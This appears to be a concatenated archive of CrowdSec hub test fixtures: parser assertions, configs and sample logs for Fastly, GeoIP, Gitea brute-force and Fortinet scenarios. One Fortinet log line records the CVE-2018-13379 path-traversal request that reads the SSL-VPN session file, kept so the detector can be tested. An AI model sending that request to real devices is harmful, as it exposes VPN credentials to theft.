results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_path"] == "/zVnC16Tl.exe" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["machine"] == "1.1.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2021-11-12T16:59:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2021-11-12T16:59:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == " { \"timestamp\": \"2021-11-12T16:59:45+0000\", \"client_ip\": \"1.2.3.4\", \"geo_country\": \"france\", \"geo_city\": \"gargenville\", \"host\": \"fastly.mydomain.com\", \"url\": \"/zVnC16Tl.csp\", \"request_method\": \"GET\", \"request_protocol\": \"HTTP/1.1\", \"request_referer\": \"\", \"request_user_agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\", \"response_state\": \"MISS-CLUSTER\", \"response_status\": 404, \"response_reason\": \"Not Found\", \"response_body_size\": 564, \"fastly_server\": \"cache-cdg20764-CDG\", \"fastly_is_edge\": true }" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["request"] == "/zVnC16Tl.csp" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["tz_part2"] == "00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp8601"] == "2021-11-12T16:59:46.618924+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["body_bytes_sent"] == "564" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["fastly_timestamp"] == "2021-11-12T16:59:45" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["tz_part1"] == "00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_path"] == "/zVnC16Tl.csp" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["machine"] == "2.2.2.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "fastly-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2021-11-12T16:59:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2021-11-12T16:59:45Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == " { \"timestamp\": \"2021-11-15T06:25:28+0000\", \"client_ip\": \"5.6.7.8\", \"geo_country\": \"india\", \"geo_city\": \"rajgurunagar\", \"host\": \"fastly.mydomain.com\", \"url\": \"/\", \"request_method\": \"GET\", \"request_protocol\": \"HTTP/1.1\", \"request_referer\": \"\", \"request_user_agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\", \"response_state\": \"MISS-CLUSTER\", \"response_status\": 200, \"response_reason\": \"OK\", \"response_body_size\": 384, \"fastly_server\": \"cache-hyd1100029-HYD\", \"fastly_is_edge\": true }" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["body_bytes_sent"] == "384" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["fastly_timestamp"] == "2021-11-15T06:25:28" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["tz_part2"] == "00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["tz_part1"] == "00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["request"] == "/" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["timestamp8601"] == "2021-11-15T06:25:30.455237+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "5.6.7.8" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2021-11-15T06:25:28Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "fastly-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["machine"] == "3.3.3.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["http_path"] == "/" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2021-11-15T06:25:28Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["http_referer"] == "http://fastly.mydomain.com/" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["request"] == "/favicon.ico" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["timestamp8601"] == "2021-11-15T06:25:31.670312+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["tz_part1"] == "00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["fastly_timestamp"] == "2021-11-15T06:25:30" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["body_bytes_sent"] == "186" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == " { \"timestamp\": \"2021-11-15T06:25:30+0000\", \"client_ip\": \"5.6.7.8\", \"geo_country\": \"india\", \"geo_city\": \"rajgurunagar\", \"host\": \"fastly.mydomain.com\", \"url\": \"/favicon.ico\", \"request_method\": \"GET\", \"request_protocol\": \"HTTP/1.1\", \"request_referer\": \"http://fastly.mydomain.com/\", \"request_user_agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\", \"response_state\": \"MISS-CLUSTER\", \"response_status\": 404, \"response_reason\": \"Not Found\", \"response_body_size\": 186, \"fastly_server\": \"cache-hyd1100029-HYD\", \"fastly_is_edge\": true }" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["tz_part2"] == "00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "5.6.7.8" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["http_status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["machine"] == "3.3.3.3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2021-11-15T06:25:30Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "fastly-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["http_path"] == "/favicon.ico" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2021-11-15T06:25:30Z" len(results["success"][""]) == 0hub1/.tests/fastly-logs/scenario.assert000066400000000000000000000000001437532772500204340ustar00rootroot00000000000000hub1/.tests/fortinet-cve-2018-13379/000077500000000000000000000000001437532772500166355ustar00rootroot00000000000000hub1/.tests/fortinet-cve-2018-13379/config.yaml000066400000000000000000000004171437532772500207700ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/fortinet-cve-2018-13379.yaml postoverflows: - "" log_file: fortinet-cve-2018-13379.log log_type: nginx labels: {} ignore_parsers: true hub1/.tests/fortinet-cve-2018-13379/fortinet-cve-2018-13379.log000066400000000000000000000002221437532772500230150ustar00rootroot00000000000000192.168.1.3 - - [08/Dec/2021:17:23:24 +0100] "GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1" 200 166 "-" "-"hub1/.tests/fortinet-cve-2018-13379/parser.assert000066400000000000000000000000001437532772500213420ustar00rootroot00000000000000hub1/.tests/fortinet-cve-2018-13379/scenario.assert000066400000000000000000000023021437532772500216600ustar00rootroot00000000000000len(results) == 1 "192.168.1.3" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.1.3"].IP == "192.168.1.3" results[0].Overflow.Sources["192.168.1.3"].Range == "" results[0].Overflow.Sources["192.168.1.3"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.1.3"].GetValue() == "192.168.1.3" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "fortinet-cve-2018-13379.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "-" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.3" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/fortinet-cve-2018-13379" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/geoip-enrich/000077500000000000000000000000001437532772500155255ustar00rootroot00000000000000hub1/.tests/geoip-enrich/config.yaml000066400000000000000000000005201437532772500176530ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/sshd-logs - ./.tests/geoip-enrich/parsers/s02-enrich/crowdsecurity/geoip-enrich.yaml #we don't use the actual parser because we need to change the download URLs for the MMDBs #manual parsers scenarios: - "" postoverflows: - "" collections: - "" log_file: ssh-bf.log log_type: syslog hub1/.tests/geoip-enrich/parser.assert000066400000000000000000000216041437532772500202470ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 2 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "Invalid user pascal from 1.2.3.4 port 53502" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["pid"] == "16378" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "ssh-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "sd-126005" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == "Invalid user pascal from 127.0.0.1 port 53502" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["pid"] == "16378" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["program"] == "sshd" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "ssh-bf.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["machine"] == "sd-126005" len(results["s01-parse"]["crowdsecurity/sshd-logs"]) == 2 results["s01-parse"]["crowdsecurity/sshd-logs"][0].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["message"] == "Invalid user pascal from 1.2.3.4 port 53502" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["pid"] == "16378" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Parsed["sshd_invalid_user"] == "pascal" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["machine"] == "sd-126005" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["target_user"] == "pascal" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["datasource_path"] == "ssh-bf.log" results["s01-parse"]["crowdsecurity/sshd-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Success == true results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["sshd_client_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["message"] == "Invalid user pascal from 127.0.0.1 port 53502" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["program"] == "sshd" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["sshd_invalid_user"] == "pascal" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Parsed["pid"] == "16378" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["service"] == "ssh" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["target_user"] == "pascal" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["datasource_path"] == "ssh-bf.log" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["log_type"] == "ssh_failed-auth" results["s01-parse"]["crowdsecurity/sshd-logs"][1].Evt.Meta["machine"] == "sd-126005" len(results["s02-enrich"]["crowdsecurity/geoip-enrich"]) == 2 results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Parsed["pid"] == "16378" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Parsed["message"] == "Invalid user pascal from 1.2.3.4 port 53502" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Parsed["sshd_invalid_user"] == "pascal" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Meta["SourceRange"] == "1.2.3.0/24" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Meta["machine"] == "sd-126005" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Meta["target_user"] == "pascal" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Meta["ASNNumber"] == "4242" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Meta["ASNOrg"] == "Crowdsec" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Meta["IsInEU"] == "true" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Meta["IsoCode"] == "FR" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Meta["datasource_path"] == "ssh-bf.log" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Enriched["IsInEU"] == "true" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Enriched["IsoCode"] == "FR" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Enriched["Latitude"] == "46.000000" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Enriched["Longitude"] == "2.000000" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Enriched["SourceRange"] == "1.2.3.0/24" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Enriched["ASNNumber"] == "4242" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Enriched["ASNOrg"] == "Crowdsec" results["s02-enrich"]["crowdsecurity/geoip-enrich"][0].Evt.Enriched["ASNumber"] == "4242" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Parsed["sshd_invalid_user"] == "pascal" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Parsed["timestamp"] == "Feb 12 14:10:21" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Parsed["message"] == "Invalid user pascal from 127.0.0.1 port 53502" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Parsed["sshd_client_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Parsed["pid"] == "16378" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Meta["machine"] == "sd-126005" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Meta["target_user"] == "pascal" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Meta["ASNNumber"] == "0" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Meta["IsInEU"] == "false" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Meta["datasource_path"] == "ssh-bf.log" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Enriched["Longitude"] == "0.000000" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Enriched["ASNNumber"] == "0" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Enriched["ASNumber"] == "0" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Enriched["IsInEU"] == "false" results["s02-enrich"]["crowdsecurity/geoip-enrich"][1].Evt.Enriched["Latitude"] == "0.000000" hub1/.tests/geoip-enrich/parsers/000077500000000000000000000000001437532772500172045ustar00rootroot00000000000000hub1/.tests/geoip-enrich/parsers/s02-enrich/000077500000000000000000000000001437532772500210565ustar00rootroot00000000000000hub1/.tests/geoip-enrich/parsers/s02-enrich/crowdsecurity/000077500000000000000000000000001437532772500237645ustar00rootroot00000000000000hub1/.tests/geoip-enrich/parsers/s02-enrich/crowdsecurity/geoip-enrich.yaml000066400000000000000000000021051437532772500272170ustar00rootroot00000000000000#This is the same parser as the one in the hub, but with links to test databases. #If the actual parser is updated, this file also needs to be updated filter: "'source_ip' in evt.Meta" name: crowdsecurity/geoip-enrich description: "Populate event with geoloc info : as, country, coords, source range." data: - source_url: https://crowdsec-statics-assets.s3.eu-west-1.amazonaws.com/GeoLite2-Test-City.mmdb dest_file: GeoLite2-City.mmdb - source_url: https://crowdsec-statics-assets.s3.eu-west-1.amazonaws.com/GeoLite2-Test-ASN.mmdb dest_file: GeoLite2-ASN.mmdb statics: - method: GeoIpCity expression: evt.Meta.source_ip - meta: IsoCode expression: evt.Enriched.IsoCode - meta: IsInEU expression: evt.Enriched.IsInEU - meta: GeoCoords expression: evt.Enriched.GeoCoords - method: GeoIpASN expression: evt.Meta.source_ip - meta: ASNNumber expression: evt.Enriched.ASNNumber - meta: ASNOrg expression: evt.Enriched.ASNOrg - method: IpToRange expression: evt.Meta.source_ip - meta: SourceRange expression: evt.Enriched.SourceRange hub1/.tests/geoip-enrich/ssh-bf.log000066400000000000000000000002501437532772500174070ustar00rootroot00000000000000Feb 12 14:10:21 sd-126005 sshd[16378]: Invalid user pascal from 1.2.3.4 port 53502 Feb 12 14:10:21 sd-126005 sshd[16378]: Invalid user pascal from 127.0.0.1 port 53502 hub1/.tests/gitea-bf/000077500000000000000000000000001437532772500146325ustar00rootroot00000000000000hub1/.tests/gitea-bf/config.yaml000066400000000000000000000004101437532772500167560ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/LePresidente/gitea-logs.yaml scenarios: - ./scenarios/LePresidente/gitea-bf.yaml postoverflows: - "" log_file: gitea-bf.log log_type: gitea labels: {} ignore_parsers: true hub1/.tests/gitea-bf/gitea-bf.log000066400000000000000000000104031437532772500170110ustar00rootroot000000000000002022/03/01 12:57:58 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test from 1.1.1.1:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 12:57:59 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test from 1.1.1.1:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 12:58:00 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test from 1.1.1.1:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 12:58:01 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test from 1.1.1.1:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 12:58:02 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test from 1.1.1.1:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 12:58:03 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test from 1.1.1.1:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 12:59:58 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test1 from 2.2.2.2:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 12:59:59 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test2 from 2.2.2.2:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 13:00:00 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test3 from 2.2.2.2:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 12:00:01 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test4 from 2.2.2.2:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 12:00:02 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test5 from 2.2.2.2:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 12:00:03 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test6 from 2.2.2.2:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 13:00:58 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test@example.com from 3.3.3.3:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 13:00:59 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test@example.com from 3.3.3.3:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 13:01:00 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test@example.com from 3.3.3.3:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 13:01:01 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test@example.com from 3.3.3.3:39522: user does not exist [uid: 0, name: test, keyid: 0] 2022/03/01 13:01:02 ...ers/web/auth/auth.go:200:SignInPost() [I] Failed authentication attempt for test@example.com from 